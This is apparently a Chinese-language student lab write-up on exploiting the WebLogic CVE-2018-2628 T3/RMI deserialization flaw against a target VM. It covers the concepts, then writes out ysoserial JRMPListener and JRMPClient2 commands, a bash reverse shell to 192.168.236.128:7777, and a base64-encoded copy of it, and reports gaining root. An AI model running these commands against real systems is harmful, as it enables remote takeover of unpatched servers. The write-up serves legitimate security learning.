攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
java反序列化:指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。
1、扫描端口,这里不知道为啥没有扫描出特定的T3协议端
2、POC工具利用
检测出具有CVE-2018-2628漏洞
启动JRMP Server,使得触发漏洞后的weblogic,可远程调用特定的程序:
攻击了一台存在漏洞的靶机时,靶机就会找这台具有JRMP服务的机器,寻找payload;
bash命令:bash -i >& /dev/tcp/192.168.236.128/7777 0>&1
由于Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,所以我们使用base64的反弹shell形式,具体如下:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
格式为:bash -c {echo,上面反弹shell的base64编码}|{base64,-d}|{bash,-i}
运行代码:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNi4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}’
说明开启成功,JRMP正在监听8888端口
执行代码:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.236.128:8888 | xxd -p | tr -d $‘\n’ && echo
将构造的数据,复制粘贴到EXP中的payload,并且修改IP为目标IP:
保存后,监听bash脚本中的7777端口,python运行这个EXP脚本:
一开始报错,是因为python默认的是python3运行,但是python3中print语法中得带有括号,所以报错,这里进行python2运行,成功运行:
kali这边接收到shell,且为root权限:
1、一定要解决问题,不能放弃
2、下次学习代码审计
3、要在该文件的目录下运行程序才有效